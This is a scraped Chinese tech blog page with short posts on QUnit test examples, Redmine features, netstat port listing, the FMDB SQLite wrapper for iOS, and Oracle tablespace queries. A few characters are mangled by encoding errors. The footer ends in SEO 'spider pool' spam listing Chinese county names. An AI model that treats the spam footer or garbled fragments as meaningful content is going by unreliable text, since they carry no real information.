          //一些測試套件可能需要表達一個期望,不是由任何QUnit內置的斷言。這種需要一個封裝的JavaScript函數,該函數返回一個布爾值,表示結果,這個值可以傳遞到QUnit的斷言。
          QUnit.assert.mod2 = function ( value, expected, message ) {
          var actual = value % 2;
          this.push( actual === expected, actual, expected, message );
          };
          QUnit.test( "mod2", function ( assert ) {
          assert.expect( 2 );
          assert.mod2( 2, 0, "2 % 2 == 0" );
          assert.mod2( 3, 1, "3 % 2 == 1" );
          } );
          //測試如果一個回調函數拋出一個異常,并有選擇地比較拋出的錯誤。
          QUnit.test( "throws", function ( assert ) {
          function CustomError( message ) {
          this.message = message;
          }
          CustomError.prototype.toString = function () {
          return this.message;
          };
          assert.throws(
          function () {
          throw "error"
          },
          "throws with just a message, not using the 'expected' argument"
          );
          assert.throws(
          function () {
          throw new CustomError( "some error description" );
          },
          /description/,
          "raised error message contains 'description'"
          );
          assert.throws(
          function () {
          throw new CustomError();
          },
          CustomError,
          "raised error is an instance of CustomError"
          );
          assert.throws(
          function () {
          throw new CustomError( "some error description" );
          },
          new CustomError( "some error description" ),
          "raised error instance matches the CustomError instance"
          );
          assert.throws(
          function () {
          throw new CustomError( "some error description" );
          },
          function ( err ) {
          return err.toString() === "some error description";
          },
          "raised error instance satisfies the callback function"
          );
          } );
          //endregion
            //region async-control異步控制
          //QUnit.asyncTest() QUnit測試異步代碼。asyncTest將自動停止測試運行器,等待您的代碼調用QUnit.start()繼續。
          QUnit.asyncTest( "asynchronous test: one second later!", function ( assert ) {
          assert.expect( 1 );
          setTimeout( function () {
          assert.ok( true, "Passed and ready to resume!" );
          QUnit.start();
          }, 1000 );
          } );
          QUnit.asyncTest( "asynchronous test: video ready to play", function ( assert ) {
          assert.expect( 1 );
          var $video = $( "video" );
          $video.on( "canplaythrough", function () {
          assert.ok( true, "video has loaded and is ready to play" );
          QUnit.start();
          } );
          } );
          //QUnit.start() Start running tests again after the testrunner was stopped
          //QUnit.stop()  當異步測試有多個出口點,使用QUnit.stop 增加解除test runner等待 應該調用QUnit.start()的次數。
          QUnit.test( "a test", function ( assert ) {
          assert.expect( 1 );
          QUnit.stop();
          setTimeout( function () {
          assert.equal( "someExpectedValue", "someExpectedValue", "ok" );
          QUnit.start();
          }, 150 );
          } );
          //endregion
            //region module QUnit.module()后發生的所有測試調用將被分到模塊,直到調用其他其他QUnit.module()。
          // 測試結果的測試名稱都將使用模塊名稱??梢允褂迷撃K名稱來選擇模塊內的所有測試運行。
          //Example: Use the QUnit.module() function to group tests together:
          QUnit.module( "group a" );
          QUnit.test( "a basic test example", function ( assert ) {
          assert.ok( true, "this test is fine" );
          } );
          QUnit.test( "a basic test example 2", function ( assert ) {
          assert.ok( true, "this test is fine" );
          } );
          QUnit.module( "group b" );
          QUnit.test( "a basic test example 3", function ( assert ) {
          assert.ok( true, "this test is fine" );
          } );
          QUnit.test( "a basic test example 4", function ( assert ) {
          assert.ok( true, "this test is fine" );
          } );
          //Example: A sample for using the setup and teardown callbacks
          QUnit.module( "module A", {
          setup : function () {
          // prepare something for all following tests
          },
          teardown : function () {
          // clean up after each test
          }
          } );
          //Example: Lifecycle properties are shared on respective test context 在測試環境下共享各自的生命周期內的屬性
          QUnit.module( "Machine Maker", {
          setup : function () {
          },
          parts : [ "wheels", "motor", "chassis" ]
          } );
          QUnit.test( "makes a robot", function ( assert ) {
          this.parts.push( "arduino" );
          assert.equal( this.parts, "robot" );
          assert.deepEqual( this.parts, [ "robot" ] );
          } );
          QUnit.test( "makes a car", function ( assert ) {
          assert.equal( this.parts, "car" );
          assert.deepEqual( this.parts, [ "car", "car" ] );
          } );
          //endregion
            //region callback
          //begin  Register a callback to fire whenever the test suite begins.
          QUnit.begin( function ( details ) {
          console.log( "Test amount:", details.totalTests );
          } );
          //done  Register a callback to fire whenever the test suite ends.
          QUnit.done( function ( details ) {
          console.log( "Total: ", details.total, " Failed: ", details.failed, " Passed: ", details.passed, " Runtime: ", details.runtime );
          } );
          //log  Register a callback to fire whenever an assertion completes.
          QUnit.log( function ( details ) {
          if ( details.result ) {
          return;
          }
          var loc = details.module + ": " + details.name + ": ",
          output = "FAILED: " + loc + ( details.message ? details.message + ", " : "" );
          if ( details.actual ) {
          output += "expected: " + details.expected + ", actual: " + details.actual;
          }
          if ( details.source ) {
          output += ", " + details.source;
          }
          console.log( output );
          } );
          //moduleStart  Register a callback to fire whenever a module begins.
          QUnit.moduleStart( function ( details ) {
          console.log( "Now running: ", details.name );
          } );
          //moduleDone  Register a callback to fire whenever a module ends.
          QUnit.moduleDone( function ( details ) {
          console.log( "Finished running: ", details.name, "Failed/total: ", details.failed, details.total );
          } );
          //testStart Register a callback to fire whenever a test begins.
          QUnit.testStart( function ( details ) {
          console.log( "Now running: ", details.module, details.name );
          } );
          //testDone Register a callback to fire whenever a test ends.
          QUnit.testDone( function ( details ) {
          console.log( "Finished running: ", details.module, details.name, "Failed/total: ", details.failed, details.total, details.duration );
          } );
          //endregion
           //region Configuration
          //assert Namespace for QUnit assertions
          QUnit.test( "`ok` assertion defined in the callback parameter", function ( assert ) {
          assert.ok( true, "on the object passed to the `test` function" );
          } );
          //config Configuration for QUnit
          QUnit.config.autostart = false;
          QUnit.config.current.testName = "zodiac";
          QUnit.config.urlConfig.push( {
          id : "jquery",
          label : "jQuery version",
          value : [ "1.7.2", "1.8.3", "1.9.1" ],
          tooltip : "What jQuery Core version to test against"
          } );
          //QUnit.dump.parse() 它解析數據結構和對象序列化為字符串。也解析DOM元素outerHtml為字符串
          QUnit.log( function ( obj ) {
          // Parse some stuff before sending it.
          var actual = QUnit.dump.parse( obj.actual );
          var expected = QUnit.dump.parse( obj.expected );
          // Send it.
          } );
          var qHeader = document.getElementById( "qunit-header" ),
          parsed = QUnit.dump.parse( qHeader );
          console.log( parsed );
          // Logs: "<h1 id=\"qunit-header\"></h1>"
          //QUnit.extend() Copy the properties defined by the mixin object into the target object
          QUnit.test( "QUnit.extend", function ( assert ) {
          var base = {
          a : 1,
          b : 2,
          z : 3
          };
          QUnit.extend( base, {
          b : 2.5,
          c : 3,
          z : undefined
          } );
          assert.equal( base.a, 1, "Unspecified values are not modified" );
          assert.equal( base.b, 2.5, "Existing values are updated" );
          assert.equal( base.c, 3, "New values are defined" );
          assert.ok( !( "z" in base ), "Values specified as `undefined` are removed" );
          } );
          //endregion

          posted @ 2014-12-11 23:24 順其自然EVO 閱讀(156) | 評論 (0)編輯 收藏

          項目管理工具Redmine各功能測試

           Redmine功能測試
            Redmine 是一個開源的、基于Web的項目管理和缺陷跟蹤工具。它用日歷和甘特圖輔助項目及進度可視化顯示。同時它又支持多項目管理。Redmine是一個自由開放 源碼軟件解決方案,它提供集成的項目管理功能,問題跟蹤,并為多個版本控制選項的支持。
            雖說像IBM Rational Team Concert的商業項目調查工具已經很強大了,但想堅持一個自由和開放源碼的解決方案,可能會發現Redmine是一個有用的Scrum和敏捷的選擇。 由于Redmine的設計受到Rrac的較大影響,所以它們的軟件包有很多相似的特征。
            Redmine建立在Ruby on Rails的框架之上,支持跨平臺和多種數據庫。
            特征:
            支持多項目
            靈活的基于角色的訪問控制
            靈活的問題跟蹤系統
            甘特圖和日歷
            新聞、文檔和文件管理
            feeds 和郵件通知
            依附于項目的wiki
            項目論壇
            簡單實時跟蹤功能
            自定義字段的問題,時間項,項目和用戶
            SCM in集成 (SVN, CVS, Git, Mercurial, Bazaar and Darcs)
            多個 LDAP認證支持
            用戶自注冊支持
            多語言支持
            多數據庫支持
            功能測試前需設置語言,登錄的主界面如下,選擇管理--配置可以選擇默認語言為中文。
            常用的功能主要有以下幾個
            1、可以靈活的任意新建項目,并選擇自己所需要的模塊。
            2、控制各用戶的角色權限
            3、可以新建問題,并自定義問題類型。


            4、在甘特圖和日歷里可以清楚的看到還未完成的任務。
            5、詳盡的新聞、文檔和文件管理
            6、可以導出feeds ,并選擇郵件通知
            7、項目可創建wiki,簡介說明該項目。
            8、項目帶論壇,可供開發人員交流思想。
            9、可以跟蹤做的所有變更,簡單實時跟蹤功能
           

          10、豐富的自定義功能,可以自定義字段的問題、時間項、項目和用戶
            11、方便快捷的支持現有的源碼管理系統,SCM in集成 (SVN, CVS, Git, Mercurial, Bazaar and Darcs)
            12、支持多種用戶認證方式,LDAP認證支持
            13、支持用戶自注冊,并可自選語言。
            14、支持多種數據庫。
            PostgreSQL, SQLite3 and SQL Server。

          posted @ 2014-12-11 23:18 順其自然EVO 閱讀(207) | 評論 (0)編輯 收藏

          Linux用netstat查看服務及監聽端口

            [root@localhost ~]# netstat -nlp
            netstat命令各個參數說明如下:
            -t : 指明顯示TCP端口
            -u : 指明顯示UDP端口
            -l : 僅顯示監聽套接字(所謂套接字就是使應用程序能夠讀寫與收發通訊協議(protocol)與資料的程序)
            -p : 顯示進程標識符和程序名稱,每一個套接字/端口都屬于一個程序。
            -n : 不進行DNS輪詢(可以加速操作)
            即可顯示當前服務器上所有端口及進程服務,于grep結合可查看某個具體端口及服務情況
            [root@localhost ~]# netstat -nlp |grep LISTEN   //查看當前所有監聽端口
            [root@localhost ~]# netstat -nlp |grep 80   //查看所有80端口使用情況
            [root@localhost ~]# netstat -an | grep 3306   //查看所有3306端口使用情況

          posted @ 2014-12-08 22:01 順其自然EVO 閱讀(1521) | 評論 (0)編輯 收藏

          iOS開發之FMDB

            sqlite作為一個輕量級的數據庫,由于它占用的內存很少,因此在很多的嵌入式設備中得到廣泛的使用。iOS的SDK很早就開始支持了SQLite,我們只需要加入 libsqlite3.dylib 以及引入 sqlite3.h 頭文件即可,但由于原生sqlite的API不是很友好,因此使用的話一般會對其做一層封裝,其中以開源的FMDB最為流行。
            FMDB主要的類
            1.FMDatabase – 表示一個單獨的SQLite數據庫。 用來執行SQLite的命令。
            2.FMResultSet – 表示FMDatabase執行查詢后結果集
            3.FMDatabaseQueue – 當你在多線程中執行操作,使用該類能確保線程安全。
            FMDB的使用
            數據庫的創建:
            創建FMDatabase對象時需要參數為SQLite數據庫文件路徑。該路徑可以是以下三種之一:
            1..文件路徑。該文件路徑無需真實存,如果不存在會自動創建。
            2..空字符串(@”")。表示會在臨時目錄創建一個臨時數據庫,當FMDatabase 鏈接關閉時,文件也被刪除。
            3.NULL. 將創建一個內存數據庫。同樣的,當FMDatabase連接關閉時,數據會被銷毀。
            內存數據庫:
            通常數據庫是存放在磁盤當中的。然而我們也可以讓存放在內存當中的數據庫,內存數據庫的優點是對其操作的速度較快,畢竟訪問內存的耗時低于訪問磁盤,但內存數據庫有如下缺陷:由于內存數據庫沒有被持久化,當該數據庫被關閉后就會立刻消失,斷電或程序崩潰都會導致數據丟失;不支持讀寫互斥處理,需要自己手動添加鎖;無法被別的進程訪問。
            臨時數據庫:
            臨時數據庫和內存數據庫非常相似,兩個數據庫連接創建的臨時數據庫也是各自獨立的,在連接關閉后,臨時數據庫將自動消失,其底層文件也將被自動刪除。盡管磁盤文件被創建用于存儲臨時數據庫中的數據信息,但是實際上臨時數據庫也會和內存數據庫一樣通常駐留在內存中,唯一不同的是,當臨時數據庫中數據量過大時,SQLite為了保證有更多的內存可用于其它操作,因此會將臨時數據庫中的部分數據寫到磁盤文件中,而內存數據庫則始終會將數據存放在內存中。
            創建數據庫:FMDatabase *db= [FMDatabase databaseWithPath:dbPath] ;
            在進行數據庫的操作之前,必須要先把數據庫打開,如果資源或權限不足無法打開或創建數據庫,都會導致打開失敗。
            如下為創建和打開數據庫的示例:
            NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
            NSString *documentDirectory = [paths objectAtIndex:0];
            //dbPath: 數據庫路徑,存放在Document中。
            NSString *dbPath = [documentDirectory stringByAppendingPathComponent:@"MYTest.db"];
            //創建數據庫實例 db  這里說明下:如果路徑中不存在"MYTest.db"的文件,sqlite會自動創建"MYTest.db"
            FMDatabase *db= [FMDatabase databaseWithPath:dbPath] ;
            if (![db open]) {
            NSLog(@"Could not open db.");
            return ;
            }
            更新操作
            一切不是SELECT命令都視為更新操作,包括CREATE, UPDATE, INSERT,ALTER,COMMIT, BEGIN, DETACH, DELETE, DROP, END, EXPLAIN, VACUUM和REPLACE等。
            創建表:
            [db executeUpdate:@"CREATE TABLE myTable (Name text,Age integer)"];
            插入
            [db executeUpdate:@"INSERT INTO myTable (Name,Age) VALUES (?,?)",@"jason",[NSNumber numberWithInt:20]];
            更新
            [db executeUpdate:@"UPDATE myTable SET Name = ? WHERE Name = ? ",@"john",@"jason"];.
            刪除
            [db executeUpdate:@"DELETE FROM myTable WHERE Name = ?",@"jason"];
            查詢操作
            SELECT命令就是查詢,執行查詢的方法是以 -excuteQuery開頭的。執行查詢時,如果成功返回FMResultSet對象, 錯誤返回nil. 讀取信息的時候需要用while循環:
            FMResultSet *s = [db executeQuery:@"SELECT * FROM myTable"];
            while ([s next]) {
            //從每條記錄中提取信息
            }
            關閉數據庫
            當使用完數據庫,你應該 -close 來關閉數據庫連接來釋放SQLite使用的資源。
            [db close];
            參數
            通常情況下,你可以按照標準的SQL語句,用?表示執行語句的參數,如:
            INSERT INTO myTable VALUES (?, ?, ?)
            然后,可以我們可以調用executeUpdate方法來將?所指代的具體參數傳入,通常是用變長參數來傳遞進去的,如下:
            NSString *sql = @"insert into myTable (name, password) values (?, ?)";
            [db executeUpdate:sql, user.name, user.password];
            這里需要注意的是,參數必須是NSObject的子類,所以象int,double,bool這種基本類型,需要進行相應的封裝
            [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:42]];

          多線程操作
            由于FMDatabase對象本身不是線程安全的,因此為了避免在多線程操作的時候出錯,需要使用 FMDatabaseQueue來執行相關操作。只需要利用一個數據庫文件地址來初使化FMDatabaseQueue,然后傳入一個block到inDatabase中,即使是多個線程同時操作,該queue也會確保這些操作能按序進行,保證線程安全。
            創建隊列:
            FMDatabaseQueue *queue = [FMDatabaseQueue databaseQueueWithPath:aPath];
            使用方法:
          [queue inDatabase:^(FMDatabase *db) {
          [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:1]];
          [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:2]];
          FMResultSet *rs = [db executeQuery:@"select * from foo"];
          while([rs next]) {
          }
          }];
            至于事務可以像這樣處理:
          [queue inTransaction:^(FMDatabase *db, BOOL *rollback) {
          [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:1]];
          [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:2]];
          [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:3]];
          if (somethingWrongHappened) {
          *rollback = YES;
          return;
          }
          // etc…
          [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:4]];
          }];

          posted @ 2014-12-08 22:00 順其自然EVO 閱讀(1444) | 評論 (0)編輯 收藏

          查看表空間使用的兩條常用SQL

          1. 查看表空間大?。?/strong>
            SELECT tablespace_name, SUM(bytes)/1024/1024 total FROM DBA_FREE_SPACE GROUP BY tablespace_name ORDER BY 2 DESC;
            SQL> SELECT tablespace_name, SUM(bytes)/1024/1024 || 'MB' total FROM DBA_FREE_SPACE GROUP BY tablespace_name ORDER BY 2 DESC;
            注意下上面兩條SQL的排序,顯然第一條SQL是我們需要的結果,按照表空間大小降序排列。之所以第二條SQL的排序亂,是因為使用了|| 'MB'連接字符串,則這個字段就作為字符串類型檢索,排序時就會按照字符的ASCII進行排序。
            2. 查看表空間使用率:
          SQL> BREAK ON REPORT
          SQL> COMPUT SUM OF tbsp_size ON REPORT
          SQL> compute SUM OF used        ON REPORT
          SQL> compute SUM OF free         ON REPORT
          SQL> COL tbspname     FORMAT     a20          HEADING 'Tablespace Name'
          SQL> COL tbsp_size       FORMAT     999,999   HEADING 'Size|(MB)'
          SQL> COL used             FORMAT     999,999    HEADING 'Used|(MB)'
          SQL> COL free              FORMAT      999,999   HEADING 'Free|(MB)'
          SQL> COL pct_used       FORMAT     999,999    HEADING '% Used'
          SQL> SELECT df.tablespace_name                              tbspname,
          sum(df.bytes)/1024/1024                                           tbsp_size,
          nvl(sum(e.used_bytes)/1024/1024,0)                         used,
          nvl(sum(f.free_bytes)/1024/1024,0)                            free,
          nvl((sum(e.used_bytes)*100)/sum(df.bytes),0)            pct_used
          FROM DBA_DATA_FILES df,
          (SELECT file_id, SUM(nvl(bytes, 0)) used_bytes
          FROM dba_extents
          GROUP BY file_id) e,
          (SELECT MAX(bytes) free_bytes, file_id
          FROM dba_free_space
          GROUP BY file_id) f
          WHERE e.file_id(+) = df.file_id
          AND df.file_id = f.file_id(+)
          GROUP BY df.tablespace_name
          ORDER BY 5 DESC;
            視圖定義:

          posted @ 2014-12-08 21:56 順其自然EVO 閱讀(264) | 評論 (0)編輯 收藏

          僅列出標題
          共394頁: First 上一頁 2 3 4 5 6 7 8 9 10 下一頁 Last 
          <2025年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導航

          統計

          • 隨筆 - 3936
          • 文章 - 404
          • 評論 - 179
          • 引用 - 0

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          •  

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 高平市| 金川县| 迁西县| 木兰县| 芜湖县| 资溪县| 松溪县| 娱乐| 通海县| 来宾市| 新绛县| 富蕴县| 安乡县| 景宁| 绥滨县| 岳池县| 洪雅县| 任丘市| 连城县| 监利县| 合山市| 驻马店市| 新民市| 铅山县| 绥棱县| 濮阳县| 海丰县| 锦屏县| 洪雅县| 资阳市| 云阳县| 韶关市| 建平县| 大同县| 晋宁县| 顺昌县| 延长县| 三亚市| 金湖县| 罗平县| 灵寿县|